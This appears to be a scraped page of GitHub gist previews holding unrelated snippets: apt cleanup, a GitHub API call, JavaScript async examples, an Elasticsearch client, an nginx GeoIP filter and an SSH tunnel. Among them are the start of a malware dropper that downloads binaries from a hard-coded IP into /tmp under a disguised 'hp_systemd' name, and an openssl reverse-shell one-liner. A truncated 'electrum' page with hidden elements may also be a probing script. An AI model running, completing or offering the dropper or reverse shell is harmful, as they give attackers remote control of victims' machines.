This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo rm -rf /var/lib/apt/lists/* | |
sudo apt-get update | |
$ sudo rm -R /var/lib/apt/lists/partial/* | |
$ sudo apt-get update |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
curl -i "https://api.github.com/repos/organization/repository/issues" -u "username" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getCoffee() { | |
return new Promise(resolve => { | |
setTimeout(() => resolve('xDD'), 2000); | |
}); | |
} | |
async function go() { | |
const coffee = await getCoffee(); | |
console.log(coffee); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body> | |
<style>pre { white-space: inherit }</style> | |
<pre id="log"></pre> | |
<div id="ports" style="visibility: hidden; height: 0; width: 0;"></div> | |
<iframe src="about:blank" name="x" id="x" style="display: none;"></iframe> | |
</body> | |
<script> | |
var electrum = { | |
logbreak: function() { e = document.createElement('br'); document.getElementById('log').appendChild(e); }, | |
log: function(s) { e = document.createElement('span'); e.innerText = s+" "; document.getElementById('log').appendChild(e); }, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
var elasticsearch = require('elasticsearch'); | |
var Promise = require('bluebird'); | |
var log = console.log.bind(console); | |
var client = new elasticsearch.Client({ | |
host: 'localhost:9200', | |
log: 'trace' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin | |
HOST=191.101.180.74 | |
CALLBACK=$HOST | |
# DOWNLOADER="curl " | |
DOWNLOADER="wget -q -O - " | |
LFILE_NAME="hp_systemd" | |
# LFILE_PATH=`pwd`/$LFILE_NAME | |
LFILE_PATH=/tmp/$LFILE_NAME | |
DEFAULT_RFILE=$HOST/files/hpl64 | |
OTHERS_RFILE=$HOST/files/hpl32 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set $posting 0; # Make sure to declare it first to stop any warnings | |
if ($request_method = POST) { # Check if request method is POST | |
set $posting N; # Initially set the $posting variable as N | |
} | |
if ($geoip_country_code ~ (BR|CN|KR|RU|UA) ) { # Here we're using the Nginx GeoIP module to block some spammy countries | |
set $posting "${posting}O"; # Set the $posting variable to itself plus the letter O | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <HOST>:<PORT> > /tmp/s; rm /tmp/s |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Server | |
sudo echo -e "Match User username\n GatewayPorts yes" >> /etc/ssh/sshd_config | |
service ssh restart | |
# Client | |
ssh -i ~/path/private/key -R 9876:localhost:8000 -N [email protected] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(async() => { | |
for (let param of params) { | |
try { | |
let result = await asyncFunction(param); | |
console.log(result); | |
} catch (error) { | |
console.error(error); | |
} | |
} | |
})(); |